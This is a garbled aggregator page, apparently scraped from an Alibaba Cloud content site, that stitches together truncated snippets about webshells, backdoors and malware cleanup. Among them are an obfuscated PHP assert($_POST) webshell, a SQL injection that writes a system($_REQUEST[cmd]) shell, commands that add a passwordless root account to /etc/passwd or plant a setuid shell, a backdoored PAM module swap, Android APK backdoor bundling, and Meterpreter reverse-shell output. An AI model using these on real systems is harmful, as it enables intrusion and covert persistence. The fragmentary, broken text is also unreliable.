This article will introduce you to a php webshell instance program for scanning Backdoor trojans, which can scan the trojan programs on your website. This provides great convenience for you to find website Trojans, for more information, see.
The Code is as follows:
Copy code
/**********************Php webshell Scanning**********************/Error_reporting (E_ERROR );Ini_set ('max _ execution_time ', 20000 );Ini_set ('memory _
[C/C ++ school] 0730-website and backdoor/structure alignment, structure interview analysis/deep copy and light copy/queue/string Encapsulation?? Websites and webshells
Install the Apache server software on Windwos for testing. Localhost
Change the executable program xxx.exe to xxx. cgi and place it on the apache server for access through a browser.
# Define _ CRT_SECURE_NO_WARNINGS # include
# Include
# Include
Void main () {p
Author: baozI wrote an article long ago and transferred it back. It's strange. At that time, I tested to hide the port, but now I can't hide the port, and the answer will come soon :)
The reason is found. The problem is still original. If you encounter similar problems, use the original version. If you want to know where the problem is, use diff on your own.
Preface:Kernel 2.6 has stride into the linux World, and backdoor writing and webshell writing
SPADE, a backdoor control tool for Android phones, can be used by security researchers to understand and explore the fundamentals of the Android Backdoor.First, we download the apk file from the website www.apk4fun.com, such as CCleaner. Then we install the spade
git clone https://github.com/suraj-root/spade.git
After that, use the following command to start bundling malicious vectors/root/Desktop/ccleaner.apkThere are 6 different payload to c
) > set lport 6666 66663. Use our little cutie (Lyshark.exe) in a variety of ways to run on the target host, and then see the shell reboundMSF exploit (multi/handler) > exploit [*] Started reverse TCP handler on192.168.1.25:6666 [*] Sending stage (179779bytes) to192.168.1.10[*] Meterpreter session1Opened (192.168.1.25:6666-192.168.1.10:54264) at2018- .- Geneva Geneva: -: --0400Meterpreter>4. Now that the host has fallen, check the system.Meterpreter > sysinfocomputer : DESKTOP-cacduan
Part 1 PrefaceHard to win the shell, a few days did not see, the administrator to delete.Part 2 HiddenHiding a lot of tricks, nonsense not much to say directly to the beginning.I. ATTRIB +s +hCreate a system-hidden file.attrib +s +a +r +h/attrib +s +h file nameView hidden filesTwo. Using Ads to hide filesNTFS-Switched data streams (Alternate data Streams, or ads) are an attribute of the NTFS disk format, where multiple streams of data can exist for each file under the NTFS file system. The popul
password: joker detailed: $ g is the array, $g [1]= ' s ', Chr (' count ') = ' t ', (19833217 ASCLL Code Correspondence table), such $gg= assert,@ $gg ($_post[joker]) is not the Assert ($_post[joker]), is our common word Trojan Horse, direct chopper link can be———————————————————————————————————————————————————————— 3.php (array_filter +base64_decode) php error_reporting (0 $e =$_request [' E ' array_filter ( $arr , base64_decode ( $e ? usage: http://www.xxx.com/3
For example, the following Web application might display sensitive information to the login user:
Copy Code code as follows:
$authenticated = FALSE;
$authenticated = Check_auth ();
if ($authenticated)
{
Include './sensitive.php ';
}
?>
Because Sensitive.php is located in the site home directory, the browser can bypass the authentication mechanism to access the file directly. This is because all files in the site's home directory have a corresponding URL address. In some case
It's not easy to get a server, if it's found, it's gone! What a pity!
In fact, there are many kinds of backdoor methods
1. setuid
#cp/bin/sh/tmp/.sh
#chmod u+s/tmp/.sh
Plus suid bit to shell, though very simple, but easy to be found
2. Echo "Hack::0:0::/:/bin/csh" >>/etc/passwd
That is, add an ID 0 (root) account to the system, no password.
But the administrator will soon be able to find out Oh!
3.echo "+ +" >>/.rhosts
If this system opened 512,513
"); fprintf (FP, "%s::%s\n", name,p);
Five. Compiling[Email protected] pam_unix]# CD. /.. /[[email protected] linux-pam-1.1.1]#./configure[[email protected] linux-pam-1.1.1]# makeSix. Back up the original Pam module[[Email protected] security]# MV Pam_unix.so{,.bak}Seven. Copy the new Pam module to the/lib64/security/directory:[Email protected] security]# cp/root/linux-pam-1.1.1/modules/pam_unix/.libs/pam_unix.so/lib64/security/Eight. Modifying the PAM module time properties[[e
EndurerOriginal
2006.11.101Version
A netizen's computer has been running very slowly recently. Let me check it out.Via QQ Remote Assistance.
Download hijackthis scan log from http://endurer.ys168.com and find the following suspicious items:/---
EndurerOriginal1Version
A netizen's computer, which was reported by rising boot scanning in the past two daysBackdoor. gpigeon. uql. For example:-----------Virus name processing result found date path file virus sourceBackdoor. gpigeon. uqlCleared
After ecshop is acquired, I don't know what's going on.
Patch 7 was updated on July 7, but after downloading it, I found it was obviously incorrect.First, there is an install folder in the uplodes directory. It was originally not in this folder,
This is to escape LAKER2 brother check ASP Trojan horse program
Now that the challenge has been successful, it has been added to the test object. Published code to the freezing point of friends make, I hope you like!
The Adox.catalog component is
Cough, we look at the good, I do not responsible for the consequences of
Copy Code code as follows:
SELECT * from ' vbb_strikes ' WHERE 1 Union Select 2,3,0x3c3f7068702073797374656d28245f524551554553545b636d645d293b3f3e From
As we all know, Linux file permissions such as: 777;666, in fact, as long as the corresponding file with the UID of the permissions, you can use to add permissions to the identity of the person to run this file. So we just have to copy bash out to
Release date:Updated on:
Affected Systems:SamsungDescription:--------------------------------------------------------------------------------Bugtraq id: 66192
Samsung Galaxy is a smartphone of Samsung's Android system.
The proprietary software in
Http://kernel-c.maxthon.cn/www/init.php server not resolved can download the database configuration file http://build.maxthon.com/code packaging http://partner.maxthon.com/login.action struts2 vulnerability, found has been intruded (dark clouds have
Manual cleanup: Before cleanup, set "show all files" and "Hide protected operating system files" in the folder options ".
(1.exe clear svchost.exe
Svchost.exe in windowssystem32is a normal system program. If svchost.exe is found in the Windows
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.